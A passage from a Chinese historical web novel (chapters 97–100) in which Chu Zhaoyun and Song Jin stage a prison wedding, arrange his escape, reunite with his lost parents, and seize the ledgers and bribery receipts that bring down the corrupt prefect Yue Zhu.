而赵大,则是十二年前在蕤洲去往青州途中占山为王的匪首之一。 他从前被岳逐用计抓到过,后来因着家中弟弟赵二重病,岳逐又自掏腰包给赵二寻医救了赵二,赵大感激岳逐才答应帮忙做事。 褚惜兰谨慎地看了眼屋外,又将门从里面拴上,这才压低声音道:“起初我和春叶、蕙娘留意了二十多位客人,但他们只是过来饮酒作诗,附庸风雅,也没说什么或是做什么奇怪的事。” 毕竟蕙娘都在这里十载八载了,也从没觉得客人们有什么不对劲。 “不过后来,倒是从账单上发现了些不一样的地方。” 褚惜兰告诉她,有关客人的账单,这事还得感谢吃货于小圆。 自从李婆子“不见了”之后,于小圆整个人都轻松多了,还把李婆子威胁她的坏事都告诉了大家,大家同情她的遭遇,便也没再为难她。 可于小圆心中难过,总想着能做些什么补偿大家,尤其是褚朝云,虽说她也没真伤害到褚朝云,但大家同为女子,她依旧是心存愧疚。 于小圆偶尔会下去厨房偷点吃的,毕竟在客人面前也吃不饱。 那日她又趁人少跑下去,远远就看到上船来的客人在婆子那处登记着什么。 花船营业,客人登船,一应费用在下船结算,这套流程连楼下的船娘也是熟知的。 不过提前登记这事,船娘们还真没在意。 于小圆说,客人们会先跟婆子登记来处,姓名,待到用过饭下船时,婆子就按照登记人对应的账单结账。 “虽说这流程也是正常,可有一事,我们都觉得不妥。” “何事?” 褚朝云听得细致,脑子里不停转悠着。 褚惜兰低语一句,“菜价。” 同样一道菜,面对不同的客人却有不同的菜价。 大家觉得不妥,便趁登记的婆子轮岗那日,故意撞翻了她,婆子手中的单子洋洋洒洒落了一地,春叶蕙娘和于小圆便立刻冲上来帮忙去捡。 然后他们就发现了这里面的门道。 褚惜兰说话时,神情还是当初看到菜价那副瞠目结舌的样子,“三妹妹你说怪不怪?那菜价可都是统一的。譬如今日卖了八份酱鸭,本该都是十两一份,可这其中,偏偏就有那么一位客人是花了三百两的。” “三百两,那不过是一道寻常的酱鸭而已啊。”- 褚朝云见了褚惜兰之后,接连两日又去了万春楼听说书先生讲岳知府,晚间回去,便在院门前遇上了穆青。 “褚姑娘,我等你好久了。” 穆青本不想在她租的院门口与她碰面,可大牢那边有了动静,他又不敢耽搁。 “别着急,慢慢说。” 褚朝云看穆青一脸急色,叹声安抚一句。 其实别说是穆青,自从宗匀酌来了蕤洲,宋谨又进了牢房,他们这一伙人日夜奔波,都在倾尽全力的想着办法,哪个都不是闲人。 穆青头垂的低低地,声音带着哽咽,“老周说,自从宗匀酌走了之后,宋儿就开始……不吃饭了,明明刚进去时他还会按时按顿的吃,可这都两日了,宋儿他是不是——” 不想活了。 穆青在他们之中年纪最小,也最是沉不住气。 褚朝云送走穆青回了房间,坐在床旁发了会呆,抬头去看窗外明月时,忽的记起第一次见到宋谨的时候。 去捞鱼那次不算,新年那晚才是。 今日的月亮可真圆。 和那晚一样。 褚朝云苦笑了一下,翻箱倒柜寻到了新年时穿的红衣,当时船娘们还打趣说这红衣应该是新婚才该穿的,还笑话这蕤洲的习俗怪异。 怪吗? 她觉得也挺好的。 褚朝云翻出衣裳放在枕边,又去了隔壁宋谨的房间里,将宋谨穿过的红衣给找了出来。 不是说这红衣的习俗是象征着团圆吗? 那他们就……再穿一次。 说宋谨不想活了褚朝云是不信的,宋小哥是什么人,那可是在大大小小坟圈子里睡了三年棺材的人,区区一个宗匀酌,还不足以让他动摇。 不过即便不去听,褚朝云也知道,宗匀酌无非就是想搞心态,骗宋谨说他爹娘已经死了。 宋谨不想吃饭,大概也是因为心中难过。 因为某个二人谈心的夜晚,宋谨曾跟她说过,“我当初就是抱着一个必须要找到他们的信念活下去的,因为他们是我的家人,家人在,我就还能支撑。” 褚朝云拿了一百两来到牢房门口。 老周之前得了一个五十两都已经是看花了眼,这么大的数目,怎能不动心。 为了谨慎,他又检查了一下褚朝云篮子里的东西,发现只有红衣,没有可疑物品。 “快进快出。” 老周支开其他同僚,独吞了一百两。 再次见到褚朝云时,宋谨颇感意外。 昏暗的牢房里,女子一身红装,面上还化了精致的妆容,这大概是他第一次见到褚朝云化妆的样子。 不过在他看来,褚朝云无论什么时候,都是最好看的。 “朝云……你……” 老周只给了他们一炷香的时间,褚朝云并没空解释许多,她将篮子里的红衣取出,顺着递到宋谨面前,“换上。” “什么?” 宋谨略感迷茫,但还是顺从的接了过去。 褚朝云站在牢门外看着他换,宋谨面庞泛红,实在是有些不知所措。 还好岳逐怕宋谨和其他犯人交流,将他单独关到了一间,反倒还成全了二人。 “快些,我又不是没见过。” 褚朝云提醒他。 上次藏在柜子里,两个人对着换衣裳,虽说都有里衣在,但里衣料薄,也还是能看清楚宋谨身材的。 当时要不是人命关天,褚朝云还想惊讶一句“竟然还有腹肌”来着。 宋谨换好,迷茫地看着她,正欲开口说什么,褚朝云便放下篮子面对向他,“宋谨,这里没有天地,没有高堂,只有夫妻。” “拜。” 女子很少用这么温和的声音说话。 她笑盈盈看向宋谨,仿佛二人真是一对即将成亲的新婚夫妇。 褚朝云干脆地对着宋谨弯了弯身,宋谨则苦笑道:“朝云——” “快拜,我手长,小心我伸进去按你的头。” 褚朝云凶巴巴一句,把对方那句委婉的拒绝压了回去。 宋谨不想让她遭受这种委屈,新婚应该是人生中最美妙的事情,而不是像此刻这般,只有脏污的牢墙和满地乱爬的老鼠。 但褚朝云坚持,他便温和的应了声“好”。 毕竟他说过,所有的事都听褚朝云的。 二人默默对拜,彼此眼中都藏起一抹湿润。 拜过,女子起身飞快抹去晶莹,而后就“噗嗤”乐了一声,她笑的阳光灿烂地看向宋谨,郑重道:“宋谨,你有家人了。” 所以, 活下去。 第98章 一更 褚朝云走后,宋谨想了很久。 对方为了让他重新燃起生的希望,竟不惜跑来大牢跟他成亲……虽说宗匀酌那日的话他确实没太受到影响,可最近食不下咽也的确是因为忧心。 查来查去,没想到最终要面对之人竟然是蕤洲知府。 这根本等同于在拔虎须。 他忧的是自己没那么大的能力保护大家,尤其是,保护朝云。 待在牢里的每一分钟似乎都在诠释他是个无能之辈,父母寻不到,爱人护不了,如今自己身陷囹圄还要大家为他操心,他坚持了这么久,非但看不到任何希望,命运还不断将他推向更绝望的深渊。 他需要捋顺清楚,所以不想吃饭,不想说话,暂时什么都不想做。 宋谨抬手捋平衣角,熟悉的香味便顺着散了出来,是褚朝云身上的干花香味。 想到褚朝云,男子眉目温和的笑了笑,起身看向不远处的看守,“小兄弟,麻烦让周叔给我送点饭食来吧?” 看守点点头,快步离去。 老周才收了褚朝云一百两,这会儿正乐呵,再加上他们本也算同僚,即便互不待见,老周还是给他准备了四菜一汤。 “哎我说,这皮相好就是占便宜啊!你看你长得好看,连娘子都对你死心塌地的。” 老周还带了一壶小酒,自酌一口,表情里满是调侃。 宋谨端正的坐在桌前慢慢吃着,破天荒应道:“夫妻……咳,这与长相无关吧?” “夫妻”这个词从他口中说出还有些许生涩,宋谨被自己呛了下。 不过想到褚朝云,他又觉得心中温暖。 看着他不自觉扬起的嘴角,老周撇了撇嘴:“谁说的,我要是和你一样也下了大狱,我家婆娘第一个就得把我踹了!” 宋谨吃的文雅,用饭也不多,听闻便浅笑道:“那你就要想想,平日里是否有什么事对不起你家娘子了。” “我——” 老周咬了下嘴,死皮被咬掉,又自顾自闷一口酒,靠着牢门没说下去。 以往他发了月银,第一件事便是请兄弟们喝酒,就比如最近刚得的银两,昨个他就拿了二十两去常去的勾栏里爽了一把,连叫一壶酒都要给个二两小费。 但家中婆娘若是管他要钱,他则抬手就打,分文都不会给家用。 要这么说来,宋谨的话也对。 老周多瞧了宋谨几眼,发觉这人好看的皮囊下,好像连灵魂也是干净的。 他是个粗人,平时根本想不了太多,可是注视宋谨久了,自然而然的,心中就生出了这个念头。 “我要是有个像样的大闺女,保不齐也希望她能嫁给你这种人。” 老周忽然来了兴趣,面对向宋谨,身体贴在牢门上,好奇道:“哎兄弟,你能不能跟我讲讲,你是怎么让你娘子对你这么好的?一百五十两啊,她眼不眨就拿出来了,你娘子也是个极有本事的。这么有钱,所以你娘子到底是做什么的?” 老周的记忆里没有这个人。 不过宋谨成没成婚他也不了解,是褚朝云在进来前告知他自己是宋谨的娘子,老周才知晓的。 宋谨已经放下了碗,却将筷子藏在袖中,牢里光线昏暗,老周没看到。 老周其实挺讨厌宋谨这样的人,各个方面都跟他们这些大老粗不一样,俊俏,温雅,一看就没什么力气,估计阮老头用他抬尸也是看了这张脸的。 一个男的要靠着脸面获得什么,就是该被人瞧不起。 可瞧不起归瞧不起,他还是想问。 宋谨垂眸半刻,又笑着起身,走近他时目光闪烁了下,“你想知道,我告诉你也无妨。” “你说你说!” 老周晃了下酒壶,还预备把这“秘诀”当成下酒的菜吃。 宋谨静静看着他,缓缓靠近,“很简单,把她看作自己的命,你就懂了。” “命?” “嗯,因为是命,又怎会轻易打了退堂鼓。我娘子在外如此拼命,所以,我也要为了她——拼命。” 说着,袖中筷子伸出,用力扎向老周的身体,老周连喊叫都做不到,脑子一晕,酒壶脱手,人便无知无觉倒在了地上。 筷子不是利器,杀不了人,而且宋谨也没想杀人。 他不过是故技重施,用筷子狠狠刺了下对方的关元穴。 脱手的酒壶被他接住,放在了小桌上。 宋谨蹲下身去拽了对方的钥匙,打开门,扒了牢头的衣服和帽子换到自己身上,大步离去。 牢里经常都有意外死去的犯人,所以以前这地方他没少进来,路线再熟悉不过。 而刚刚自己主动提出想要吃饭,也是因为了解老周的秉性。 这人每每得了钱财必定要先喝一顿,他主动送上机会,老周顺理成章的就会把他当成了下酒的菜。 所以他才会愿意和对方磨这么久。 而牢头也怕手下举报,老周为了喝酒不被抓,自然是要支开那些看守的。 宋谨走得飞快,如出无人之境。 出了牢房立刻换回自己的衣衫,又趁着人多眼杂去了西码头,进到褚朝云租的那条小船后,划船远离了河岸。 他玩的一手灯下黑。 岳逐也不会想到他就藏在蕤河上- 得知宋谨跑了这件事,褚朝云已经吃过晚饭了。 她今个回来的较晚,主要下午遇上了点事。 从牢里回来的途中,褚朝云在长街处的一棵树下发现了昏迷的老妇人,在老妇人身边,还蹲着名一脸焦急的老头。 这俩看着就是一对老夫妻。 老妇人大概是中了暑气才晕倒,虽说药铺就在不远处,但老头囊中羞涩,这才急的乱转。 褚朝云好心眼的帮老头把他老伴送去药铺,老妇人吃了药幽幽转醒,褚朝云急着回去,留给他们些银钱正要走,手就被那老妇人一把扯住了,“姑娘!” 褚朝云讶异地转回身,温声道:“夫人,可还有哪里不舒服?” 老妇人先是摇了摇头,随即就目不转睛地盯在她腰间的那块白玉上,她今个“成亲”,所以穿了一身的红装,这便显的那块白玉更加耀眼。 而老妇人的目光干扰了老头,老头也跟着去看,顷刻,浑浊的目光就变得清明不少。 “好心的姑娘,你的玉佩……” 老头焦急的问了句。 褚朝云也没太当回事,但她不想多提宋谨的身份,便笑着回道:“是我夫君赠予我的。” “你夫君?” 二老神情透着些微惊喜和希冀。 褚朝云又笑着点了点头。 “可、可否把玉佩给我看看?” 老头说着已经伸出手去,似是觉得这样太过失礼,又不知所措地收回了手。 褚朝云犹豫了下,还是将玉佩取下递给他们。 虽说她不太愿意把宋谨给自己的东西让外人瞧,但人家当面提了,再者这二老面向颇为慈善,似乎和她记忆中的某人相像的很,她便心生好感,才同意肯给二人看。 那老头接过玉佩先是摸了摸手感,随即就找了阳光正好的地方,将白玉对着光照了几下。 白玉之中,一抹微红细腻如沙,正晶晶亮的透了出来。 这连褚朝云都有些惊奇不已。 老头握着玉佩久久不能平复,似是强忍情绪才让面庞镇定下来。 之后,他把玉佩交还给褚朝云,态度也比从前更加的和蔼,“敢问姑娘,你和你家夫君……是哪日成的亲啊?” “近日。” 褚朝云模糊了日期,眼底却生出疑惑。 二老起身看着她,几乎是从头打量到尾,似是欣慰道:“那……我们祝你们百年好合,幸福安康。” “谢谢你们。” 褚朝云受宠若惊,笑着把玉佩好好别回腰间。 或许是心中存疑,她便没在急着走,而是将二人带到刘新才的铺子那吃了点饭。 褚朝云起身去和刘老板说话时,二老就偷偷抹起了眼泪。 那玉佩里有个连宋谨都不知道的小秘密—— 当年宋半州买下送给夫人时,没拿稳,白玉掉进了泡花粉的水盆里。 宋谨的阿娘喜欢用花粉水调些香膏敷面,掉进去的白玉不小心沾染了一丝红,那红巧妙的钻了进去,便只有在光照下才能瞧得清楚。 所以这白玉,也就成了满天下的独一份。 褚朝云借了刘新才的小炉子亲自煮上一壶茶,她不是个傻的,也想明白了那二老大抵的身份。 再回来时,一牵着马匹的男子正找到这里,看到二老后,打扮怪异的西域小哥才呼出口气,“老爷夫人,你们可叫我好找啊。” 小哥还没说完,刘新才眼珠子就亮了。 刘老板生怕那小哥跑了似的,一个箭步就窜上来,抬手抓住小哥的衣袖,朝着褚朝云喊:“褚姑娘,甜、甜芦苇!!” 褚朝云明白了。 蔡家送她的甘蔗,大概就是在这小哥手里买的。 乌随看着刘新才,见他提到“甜芦苇”,便笑着解释道:“老板想要买甜芦苇吗?抱歉,我这次出来没有带呢,不过你要多少可以跟我提前定下,下次我们商队再来,我给你带来。” “商、商队??” 刘新才一脸迷茫。 乌随态度和善,看着年纪没比宋谨大多少,“对呀,我们是西域过来的商队,大概每年出来一回。哦,我的同伴都在前面的蕤河客栈歇息,你想买别的也可以过去看看,马车就停在门前。” 褚朝云跟过来问了两句,这才明白为何宋谨找不到自己的爹娘。 那年出逃途中,宗家的确派了杀手来截杀他们。 宋谨和二老意外走散,便是因为宋家夫妇被杀手给抓了去。 只是他们还没等动手,就被热心的西域小哥给打跑了,乌随的父亲有缘和宋家做过一次生意,认得此人曾是青州首富宋半州,便决定带上他们。 商队停留了一阵子帮忙寻找宋谨,奈何遍寻不到,为了安全起见,乌随就把宋家二老带回了西域。 并约定以后每年出来时,都帮着找一找宋谨。 前些年二老身体不好,也没办法跟来,可这一晃过了好几年,他们实在想念儿子,这才决定亲自来寻。 褚朝云怕他们离开,就心急问道:“夫人,你们多久启程离开蕤洲?” 宋半州:“原本是在三日后。” 但如今,他们可能不用再走了。 “那可否再耐心等等,我就住在榆树胡同隔两条街的桂花巷,进去第二家便是。” 褚朝云的话没头没尾。 但宋半州是见过大世面的人,见褚朝云心思敏锐,定是发现了他们的身份,便立刻道:“好,我们不会走的,小丫头放心吧。” “丫头,在坐下来陪我喝杯茶吧?” 老妇人眼红红道。 “好。” 褚朝云主动给二老添了两杯茶。 眼下她不能这么明晃晃的把他们带去宋谨面前,免得岳逐发现这个软肋。 而这样做,也是为了保护宋家夫妇。 忽然见到宋家夫妇,褚朝云的心情着实好了许多,又知宋谨逃出了地牢,她坐在月下饮了杯茶。 起身回房换上男装,还从隔壁院推了辆板车出来,第一次大着胆子跑来看褚郁。 他们的暗号是猫叫,宋谨早就跟她提过。 李婆子的失踪正闹得沸沸扬扬,宋谨又跑了,岳逐和赵大一起头痛,劳工这处的看守也就稍微松懈了些。 褚朝云很容易就见到了褚郁和项辰,便将来意言简意赅地说了一遍。 “偷账本吗?我去。” 褚郁摩拳擦掌。 项辰则把他拉到一旁,主动道:“阿姐,这事我熟,我来。” “别跟我争,我去我去!” 褚郁又挤过来。 他和项辰混的久了,身上也有了点小纨绔的气质,人非但不像来时那般胆小,反而觉得这事做起来还有点刺激。 其实褚朝云还没能想好这一系列的事情要怎么操作,如果想彻底扳倒岳逐,他们就必须拿到账本,以及褚惜兰提到的客人的单据凭证。 她问了问褚郁,赵大的密室里只有账本,没有客人的单据。 也就是说,单据藏在了其他地方。 所以这事要进行一个周密的计划,或许还要多方合作才能成事,褚朝云叫他们先按兵不动,待自己想出办法通知他们,大家在一块行动。 短暂见了一面之后,褚朝云离开院子,直奔码头小船。 宋谨白日里把小船划远,将船混迹在一众渔船之中,巡逻的衙役来来回回几次,却是连看都没往他们这里看。 “宋谨逃了”,岳逐只能暗中找人。 不过他倒是有些后悔自己的心软,还不如让宋谨在牢里悄无声息地死掉干净,可他最近被乱七八糟的事情缠身,实在分身不暇,就也没怎么顾得上。 这会儿,衙役正满大街的找人,而褚朝云却光明正大的出现在了小船上。 宋谨把船靠岸,一直在船舱里等。 “就知道你会藏在这里!” 褚朝云笑着探头,一身男装显得飘逸又俊。 二人悄悄把船划远,停在波光粼粼地河面上。 褚朝云身心疲惫的趴到桌上,头一阵阵的痛。她实在是不想操心了,索性开始摆烂,“宋谨,接下来的事交给你算了,我累了。” 男子温柔的笑了下,主动坐到她身边,帮她轻轻按着太阳穴,“好,我来想办法。” 褚朝云被按得舒服,眯着眼睛坐起来,学着那轻浮地浪荡样子,单手挑起宋谨的下巴,笑道:“小哥哥,差事办的好,大爷我重重有赏!” 宋谨无奈地摇了摇头,配合着问:“赏什么?” “秘密。” 褚朝云故作神秘。 二人靠在船舱里歇了一会儿,宋谨便将纸张铺开,在上面画了一张草图,“如今的困境,要找到账本,找到客人单据,还要有人将证据直接呈到圣上面前,这事才能成。” 因为岳逐的上面还有人。 按照他们的推测,这人的身份地位一定尊贵无比,否则岳逐没有这么大的胆子。 而且宋谨也怀疑,当年指使宗家陷害他们的,大概也是这个人。 按照事件线去推断,应当是岳逐和这人提起了宋家的富贵,导致对方动了心思盯上宋家。 岳逐是想要宋家给蕤洲捐款的,可那人想的却是另外一回事,宋家只拿出大半,而且还是给了蕤洲,那人捞不到油水一定不肯。 所以,还不如寻个由头抄了宋家,把钱财全部占为己有。 而宗家,不过是被利用的一把刀而已。 宋家的案子办的如此草率又急切,目的相当明确。 然而能达到这一点的,在朝中动手脚的那人,地位一定要足够高贵。 还有,便是那客人的单据。 褚朝云想到一种可能,不过她还是想听听宋谨的意见,“所以你觉得,那些特殊的客人付出了特殊的菜价,又留下来处和姓名,他们所想要达到的目的是什么?” “买官。” 宋谨放下笔墨,斩钉截铁。 第99章 一更 翌日,本该晴朗的天忽的添了大片阴云,百姓们以为今日会下雨,见出来闲逛的人也不多,便都催促着早早收了摊子。 申时一刻,赵大收到消息。 有人来报,说他放在密室里的账本不翼而飞。 赵大震愕之余,抽出腰间的鞭子就直奔账房而来。 门前,老老实实坐在门口的少年正双手托腮的望着天幕,赵大怒气冲冲上前,却被身边一名工头拉住:“老大,就是这孩子叫我去喊你的。” 赵大怔愣间,差点鞭子都没拿稳。 褚郁本就瘦小,坐在台阶上看着就像是缩成一团的猫崽儿,不仅毫无杀伤力,尤其那一脸纯真,叫人自然而然地就愿意相信他说的话。 赵大强收脾气,上来嗤道:“跟你一起的那个小崽子呢?!” 褚郁听后,眨巴眨巴晶晶亮的大眼睛,闷吭一声:“跑了。” 意料之中。 赵大嘬嘬牙花子,“所以那些账本,都是那小兔崽子带走的?!” 褚郁呐呐点头,扁扁嘴做出一副委屈状。 赵大单脚蹬到台阶处,低下身来,恶狠狠道:“你不是跟他挺玩得来么?他都跑了,你为何还留在这里?” 褚郁状若无辜,“我为什么要跑?外面又不给肉吃,昨天的鸡腿我还没吃够呢~管事,如果我现在举报项辰的话……今天能给双份不?” 说着,少年还轻轻咽了下口水。 以赵大过去的身份,他不可能没发现褚郁的怪异之处,但账本被弄丢,这便预示着他的命也要跟着丢了。 岳逐救了他弟弟他是很感激,为了这位知府大人他这些年鞍前马后,可也不代表,他会把自己的头伸出去,任由岳逐去杀。 他心中发慌,但也还存着一丝侥幸。 万一还能找回来呢? 毕竟出蕤洲的城门口都有他们的人在把守,项辰一个小崽子可没有那么大的本事跑掉。 难不成,还有其他的人接应? 赵大心中疑虑满满,所以一时间也拿褚郁没什么办法,只好忍着气性问:“你要举报什么?说来听听,说得对,别说是双份,我给你买一盆叫你吃个够!” 褚郁摩拳擦掌,吸溜一下口水道:“真的?” “君子一言。” 赵大应。 褚郁在心中撇嘴:君子一言是没错,但你不是君子,你是坏蛋! 不过这些话他也只是在心中想想。 宋大哥都说了他长得很有欺骗性,所以他的话,大概率能够糊弄住赵大。 少年有些骄傲,站起身,笑容亮晶晶的说:“项辰说他跟李管事在六里亭约好了,把账本交给李管事,李管事就答应他的条件。我是不懂他们有什么交易,我只想吃鸡腿。” 失踪多日的李婆子一出现,赵大立刻信了大半。 以往他和李婆子为防钟纯心,确实会时不常的去六里亭见面,那个地方除他们之外不会被其他人知晓,赵大捏紧鞭子,立刻召集一大批人直奔六里亭而去。 那处亭子处在山边,说近不近,但也不会太远,骑马过去两炷香左右。 只是赵大不知,他和李婆子暗地里的小动作早就被钟纯心发现了,钟纯心没有讲出这事,也是不想打草惊蛇。 让敌人在眼皮子底下蛐蛐,本就更好拿捏。 赵大带着一行人出发,项辰则算准时间,藏在出城的人堆里大喊一声:“项辰,你往哪跑!!!” 看守的侍卫都是赵大的人,“账本被项辰带走”这个消息他们也是同步就收到了。 毕竟赵大还是防着项辰会偷溜出去,所以叫他们严格把关。 这两日蕤洲本就混乱,加之赵大去围捕李婆子和项辰又带走了不少的人,守城人手单薄,乍一听到这声喊叫,守卫们就跟着往声源处跑去查看。 项辰翻身上马,背上装着账本的小包袱,轻哼一声,驾马而去,顺顺利利跑出了蕤洲。 而与此同时,赶往六里亭的赵大忽然觉得不太对劲。 他停马,又仔细回忆了一遍褚郁的话。 即便李婆子真跟项辰有交易,那项辰的条件也是“回家”这一条,既然都能回家了,谁他妈还留下来吃鸡腿?? 琢磨出这点,赵大满腔怒火无处发泄,用力抽了马匹一下,即刻掉头:“快跟我回去,中计了!” 众人火急火燎赶回之时,账房已经人去楼空。 负责看守褚郁的工头被打晕在地,地上还有褚郁留下的“鬼脸图”,分明是在嘲笑他们是傻瓜。 褚郁被人救走了。 赵大后背冷汗直冒,如此大的事情他实在承担不了,便只能硬着头皮派人去长业寺找岳逐回来。 岳逐正陪着陆欣冉在寺中小住,尚才住了半月。 申时末,长业寺寺门大开,岳逐匆匆走出上了马车,而等在暗中多时的褚朝云瞧着远去的马车,不经意就笑了下。 她男人还是有点用的。 这一系列的调虎离山,都是昨晚宋谨计划好的。 而她和宋谨也分析过了,依照钟纯心的描述,岳逐应当是一个谨小慎微的性子,所以他不会把客人的单据藏在自己府里。 因为府里除了他,还住着一个随时都有可能彻底清醒的陆欣冉。 他不会冒险。 而钟纯心呢,岳逐从一开始就防备着她,否则就不会找了赵大和李婆子来监督她了。 既然里里外外都没有,那些单据又是最关键的证据之一,于是他们二人想到了一个地方——长业寺。 空释和清禅是出家之人,他们大概不会同流合污。 褚朝云入寺之后,一路直奔岳逐常住的地方而去,岳逐住的也是香客的厢房,只是处在单独的一个院落里。 陆欣冉神志不清的蹲在院子里玩蚂蚁,褚朝云笑着喊她,丫鬟蒲兰见是熟人,便热络的邀她进去。 由于时间紧迫,褚朝云也没空多说什么,只说钟纯心有东西在岳知府这儿,叫她来取。 蒲兰心地单纯,也没怀疑,就给她指了指岳知府的房间。 院中有两间房,岳逐从不和陆欣冉住在一起。 而香客的厢房建的都是一样的,屋子里连柜子都没有,自然也没什么地方能藏东西。 褚朝云昨晚斟酌过,她觉得或许地面的某一处——会有些什么呢? 于是,她一进来就目标明确的蹲在地上开找,摸摸这里,又探探那里。 女子忙的一头的汗也顾不上擦,只盼着别在她这里掉链子才好,好在小屋子面积不大,没多久就被她给翻完了。 最终,褚朝云在靠着床头的地面处,发现了松动的迹象。 她取下头上的簪子开始挖刨,不久就刨到一个油纸包,女子丢开簪子,双手抓着纸包一头用力拉扯,带出土的同时,总算将纸包全部拉了出来。 拆开封口,厚厚一摞单据正藏在其中。 只是这里只有单据,没有找到类似尸骨的东西。 得知真正的岳常已经死了那一刻,褚朝云便暗中拜托徐大徐二留意附近的坟地,再加上宋谨以往睡过那些坟地,以及阮老头也会拉徒弟们去坟地练胆……她了解过后便知,岳常确实没有被埋在任何一处。 岳逐是从岳常一上任就顶替了他的,这也就表明,岳常已经死了十五年。 十五年,早就该化成白骨了吧? 所以,那些骨头呢?? 褚朝云抖落了一下油纸包上的泥土,放入背囊,出来时又跟陆欣冉和蒲兰打了个招呼,就急着离开了长业寺。 而作为“逃犯”的宋谨只能老实的待在船上。 褚朝云不敢假手于人,亲自把单据送过去,就回了宋谨的居所。 …… 日落时分,夜幕初初拉开,一行人压着两名灰头土脸的人进了院子。 褚朝云走上来挨个看了看,一名穿金戴银的妇人,而另一人,看着比项辰大了些,是个身着华丽衣衫的富家公子模样。 早在三天前,褚朝云就让徐大徐二带着钟府一些可用之人分别去了徐香荷跟项辰的家。 这妇人便是徐香荷的继母,也是跟李婆子做交易的人。 而另一人,则是项辰的养兄。 除了他们二人,船娘们写下的名单之上还有不少的住址和名字,他们都是害了船娘的罪魁祸首,是这伙贼人的帮凶。 不过其他的就是圣上的事情了,她只能抓几个典型,要出些口供来给岳逐定罪。 徐大将二人踢倒在地,“呸呸”两声,“褚姑娘,我们这就开始审?” “不忙,还有两个,抓来一块。” 徐大:“嗯?那两人在哪?” “跟我走。” 褚朝云推门出去,带人回了自己的院子。 只是一进门,就撞见刘玉花和褚百明收拾了包袱正要跑路,而褚文词已经跟他们纠缠在了一块。 “三妹妹,你可回来了!!” 褚文词差点就动了打晕他们的念头,见褚朝云回来,便欣喜的喊了一声。 大房二房闻声出来,见褚文词和三房闹成这样,褚朝云又带了不少的陌生人进院,一时间都懵在那里。 “朝云……这……” 曲艳实在闹不懂状况,便开口想要问问。 刘玉花趁机甩脱褚文词,破口大骂褚朝云:“小贱人,你敢对长辈无礼,我今天——” 她边叫喊边撒泼似的冲上来,只是才走近,就被褚朝云一巴掌掀翻在地。 这一巴掌打的极重,差点歪了刘玉花半张脸。 褚百明看到媳妇被打自然不应,不过他没什么动手的机会就被徐大给踹倒了。 褚朝云温和地看向曲艳:“阿娘,晚点我会跟你们解释。” 说罢,蹬着刘玉花和褚百明:“给我把他们带走!” 刘玉花和褚百明被一行人拖死狗似的,一路拖着塞进了隔壁院子。 此时天幕漆黑一片,乌云坠顶,只是雨迟迟未下。 褚朝云是没工夫跟这四个恶人耗着的,她把问口供的事交给徐大徐二。 徐大徐二可不是什么怜香惜玉的人,刘玉花才哭喊两声,就被年轻气盛的徐二几巴掌打的嗷嗷直叫。 褚百明终于看傻了眼,也知褚朝云到底要他们交代什么。 褚百明跪着爬到褚朝云面前,猛劲磕头:“朝云啊!朝云!!三叔给你磕头了,你把三叔放了吧,那些事都是你三婶一人做下的,我真的什么都不知道啊!!三叔可不敢害你们三个孩子啊!!!” 褚朝云不为所动,只是淡淡看他一眼:“那卖我们的银钱,你花没花?” 褚百明被问的哑口无言。 褚朝云厌烦的站起身,从徐二手中拿过一把长刀,刀锋映着火光显得尤为锋利,女子面上流露出些许英气和振奋。 这一日她已经等的太久太久。 褚朝云握紧刀柄,回头看一眼跟随的府兵,一字一句冷然道:“走,我们……去花船。”- 岳府如今已乱作一团,派出去找项辰的杀手一波一波,却只见去的,不见回来的。 赵大跪在岳逐脚下默不作声。 岳逐也是难得动了脾气:“那么大的事你竟不第一时间来报?你可要知道,即便我威胁不了你什么,那端异王呢?这件事捅出去了,你我都会死无葬身之地!!” 见赵大把头垂的更低,他无奈地闭了闭眼,来回踱步片刻,像是等的不耐烦道:“不是,这都去了多久了?人呢?都死外头了不成?!!” “不好了大人,派出去的杀手全部都死了。” 一名衙役连滚带爬跑进来,说出的话吓了屋中二人一跳。 岳逐似是懵怔了下,随即便推门出去。 赵大紧随其上。 而二人才出府门就瞧见,夜色下满地的尸横遍野,浓重的血气裹着冷寒不断侵袭着奔向他们。 每一名杀手的脖颈处都只划了一下,留的伤口细而窄,可见他们辛辛苦苦培养出来的杀手,却连一招都没能使的出来。 赵大的武功不俗,可看到这一幕,也依然惊的说不出话。 反而岳逐没太大震撼,中年男人只是身形晃荡两下,痛心疾首道:“纯心……你竟然要背叛我么……” 这边的事还没结束,那边又有衙役来报。 有人看到了褚朝云进出长业寺,认出了她船娘的身份,觉着不太对劲,思来想去还是回来通报一声。 然而这话一说,直接就让岳逐身体里的血液一寸一寸全都凝固住了。 客人的单据丢了。 那出的事,可是比天还要大。 远处传来嘈杂,鼻端不断有血气偷钻,这夜似乎越来越冷,赵大感受到了更深的恐惧袭来。 眼前开始变得模糊,天旋地转的,他使劲晃了晃脑子,又揉了揉眼,似乎……在那片嘈杂里听到了劳工们冲破看守,正欢呼雀跃跑上大街的声音。 水岸处冷光乍现,陆陆续续下船的响动踩得艞板直晃。 赵大猛地打了个哆嗦,依稀有人影正飞跑下船,大呼着“自由”的场景。 像是喉咙被突然掐住,渗出了几丝鲜血,赵大缓缓看向岳逐,最后只能嘶哑着问:“大人,要不我们还是……跑吧?” “……跑?” 去哪儿? 岳逐像是被抽走了魂魄的干尸,一步一步傀儡般往外挪动。 他目光所及之处是一片和暖的花灯,天幕阴霾散去,被冲溃的浊云转瞬就变得清明,十里长街皆是繁华盛景,万家灯火扶摇直向青天。 岳逐“噗通”跪倒地上,面色惨然,口中喃喃道:“蕤洲的天……塌了。” 第100章 一更 “蕤洲的天……塌了。” 他不断重复着这句话。 这都是他的心血,是他一直守护着这片土地和这里的百姓,可如今—— 想到这里,岳逐复又起身,目光所及之处是被月光洒满的河面。他忽然迈开腿大步向着花船跑去,他不能就这样离开,就算要走,也要带上岳常一起。 眼见岳逐跑走,赵大心一慌,就想跟着一起跑。 可发觉对方要去的地方是花船时,赵大刹住步伐,倒退两下,准备进府牵一匹马来连夜出城。 “咚——” 岳府的大门被女子关上了。 红衣女子也不知打哪儿来,步调轻快,身手利落,在赵大预备冲进门时飞快的将其拦下,“这是打算去哪儿啊,赵管事?” 女子袖中藏着精致的匕首,抱着双臂倚着门,就那么淡淡的看着他。 赵大一懵,顿时停住脚步。 “你、你是——” 赵大不同于李婆子那般眼拙,练武之人通常头脑清明眼神犀利,更何况,他和钟纯心在十二年前本就见过一面。 赵大握紧鞭子,总算认出来人,“你是十二年前,带衙役进山抓我的人?!” 钟纯心笑而不语。 “不对!” 赵大“嘶”了一声,思绪有些混乱。 